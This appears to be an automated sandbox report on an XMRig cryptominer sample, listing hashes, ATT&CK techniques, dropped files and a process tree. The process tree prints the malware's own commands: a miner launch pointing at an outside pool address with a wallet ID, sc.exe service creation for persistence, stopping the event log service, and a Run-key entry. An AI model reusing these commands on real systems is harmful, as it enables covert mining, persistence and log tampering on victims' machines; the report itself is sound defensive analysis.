xmrig | 4c0b8df79c22b4734f2a7f1a484e13639f4d0d0ef67bdfa6c62a76a00cca7bf8

Analysis

max time kernel
150s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 12:12

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 10KB
Sample260817-pddjfaar4t
SHA256 4c0b8df79c22b4734f2a7f1a484e13639f4d0d0ef67bdfa6c62a76a00cca7bf8
MD5 4a5541d86543137db217af9e4423dacf
SHA1 31d0700ba53db7a029b7b76efe6b034de01bf508
SHA512 b7199d0e656cd6252ffff1d210f8bf409357580b9f876a814c7a977ff1c9cb165963430e5da5702b4426f1774e1eee174da15796b06eb14ec892d3e1c654c8ad
SSDEEP 96:9dNomYz/9PYz/+MZrQzm7Bs3AdynpDLRxef2IY28Bm8EPFJxGE9mZ2FFh/C7tCED:BoVW7QzWBgtxeuITPFJxTEZmFhEKcq
TLSH
T1E822D61E6E4B0232DD6108B0E6B58909613E4DE33785FAEBE333C5D70AD6E4084C16AF
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral2/files/0x000d00000001c508-25.dat	family_xmrig
behavioral2/files/0x000d00000001c508-25.dat	xmrig

Downloads MZ/PE file 2 IoCs

flow	pid	Process
4	240	1471711509.exe
3	4348	file.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Executes dropped EXE 6 IoCs

pid	Process
240	1471711509.exe
4908	1647622939.exe
1436	znujpjmoerrn.exe
1060	sysmgnrsv.exe
2284	sysfrodolv.exe
568	sysmgnrsv.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Config = "\\sysfrodolv.exe"	1471711509.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1436 set thread context of 4888	1436	znujpjmoerrn.exe	100

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1816	sc.exe
3312	sc.exe
5044	sc.exe
2884	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1912	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1471711509.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysfrodolv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4908	1647622939.exe
4908	1647622939.exe
4908	1647622939.exe
4908	1647622939.exe
1436	znujpjmoerrn.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	568	sysmgnrsv.exe
Token: SeLockMemoryPrivilege	568	sysmgnrsv.exe
Token: SeIncBasePriorityPrivilege	568	sysmgnrsv.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
568	sysmgnrsv.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 4348 wrote to memory of 240	4348	file.exe	89
PID 4348 wrote to memory of 4908	4348	file.exe	90
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 1436 wrote to memory of 4888	1436	znujpjmoerrn.exe	100
PID 240 wrote to memory of 1060	240	1471711509.exe	101
PID 240 wrote to memory of 2284	240	1471711509.exe	103
PID 2284 wrote to memory of 1912	2284	sysfrodolv.exe	105
PID 1912 wrote to memory of 568	1912	cmd.exe	107

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Downloads MZ/PE file
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4348
- C:\Users\Admin\AppData\Local\Temp\1471711509.exe
  C:\Users\Admin\AppData\Local\Temp\1471711509.exe
  2⤵
  - Downloads MZ/PE file
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:240
- - C:\Users\Admin\sysmgnrsv.exe
    C:\Users\Admin\sysmgnrsv.exe
    3⤵
    - Executes dropped EXE
    PID:1060
- - C:\sysfrodolv.exe
    \sysfrodolv.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2284
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
      4⤵
      Executes a command shell one-liner
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1912
    - - C:\Users\Admin\sysmgnrsv.exe
        
        C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x --cpu-priority=5 --threads=2 --max-cpu-usage=25
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        
        PID:568
- C:\Users\Admin\AppData\Local\Temp\1647622939.exe
  C:\Users\Admin\AppData\Local\Temp\1647622939.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:4908
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe delete "HHFRZYEI"
    3⤵
    - Launches sc.exe
    PID:2884
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe create "HHFRZYEI" binpath= "C:\ProgramData\qtcnbkxdgtzz\znujpjmoerrn.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:1816
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe stop eventlog
    3⤵
    - Launches sc.exe
    PID:5044
- - C:\Windows\system32\sc.exe
    C:\Windows\system32\sc.exe start "HHFRZYEI"
    3⤵
    - Launches sc.exe
    PID:3312

C:\ProgramData\qtcnbkxdgtzz\znujpjmoerrn.exe
C:\ProgramData\qtcnbkxdgtzz\znujpjmoerrn.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1436
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:4888

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

1471711509.exe

Path C:\Users\Admin\AppData\Local\Temp\1471711509.exe
Size 12KB
SHA256 01f64c61767bc41f039cf2080e61da49c96b14e4d558da6c03128e40ca816799
MD5 07bd5d0edaca14204802b8ff7db346ce
SHA1 660784d4aa65c5914978fae86d4f493e26a9b2b1
SHA512 7ba6ede3f8f94eda823241898465fcd71ac5935ed46ed679a525360d44ab6eb9a1298bd7c1c0e7fab28fe096471a62a014c8e147abf752d42118d880b4ad614e
SSDEEP 192:PeeTbgOhmKM84zleg7zL/mmPJxTZ3lk9nAthBsuNOk:mITwG4z0A2oZK9nABsk
TLSH
T1D3421A07AD998121E7F00DB1147E924B86BD3D723BD5AC9FA700F5462DB17A0C472A7D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

1647622939.exe

Path C:\Users\Admin\AppData\Local\Temp\1647622939.exe
Size 5.8MB
SHA256 4910d0d39e327056a255537dc1bb26093ba431b62ab89160808f3ba5b6837ff0
MD5 f58af9fb7d0e80bcdfa94e436b5083cb
SHA1 f63588ae8bf795d31c5e927ee29ae3d88b53a520
SHA512 6eff8421419c97c0832ac23828b62eb293ef27d2a4a68f26741e42525daecc25c49642eb4a1bfebdbcd193084536a8f809b9f7b5e559e252df279f4f886f8063
SSDEEP 98304:2bqc3ShKLvkh8EMDiZdy5xlIn2uUBfnmsfHlgAbwSqBDuHBpteBHcdJkEbiPJ:2bx31kP8iZdOxl5dZhqkhfevEa
TLSH
T1A556E08AE0652313594412FDFC884DA8665DDBF8DE7DA4060EE3D313CB9DE50C1B92AB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sysmgnrsv.exe

Path C:\Users\Admin\sysmgnrsv.exe
Size 6.2MB
SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
MD5 ac458ece671fdde066ce60e448f12bc0
SHA1 d31d5d5617a09e09df0cd3bffde6b03f48a0d540
SHA512 f0c8d01b2ae26e2ad1f63d74831a835b37a2f95e3020b66e9a71b161408a5599f2aa4effc2079c6250cc0e9c34ada1b2a6aba771ea388c6a90ead220a840aa99
SSDEEP 98304:N36U0mJMOqh9s03ZMza32r4vQmI4eXUMltMQXfPJFWNNrgs4u/EKgIymvloXMPwn:NL7y5h9FcJFwrgDu/nGmv6iL0Qg
TLSH
T19D569D26B7A400E8C87AC53CC6469513F7B2B81A53B0A7DB17B4967A1F336D41E3EB50
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1060-28-0x000002453FA00000-0x000002453FA20000-memory.dmp

Download

memory/4888-19-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4888-18-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4888-17-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4888-16-0x0000000140000000-0x000000014000E000-memory.dmp

Download

memory/4888-15-0x0000000140000000-0x000000014000E000-memory.dmp

Download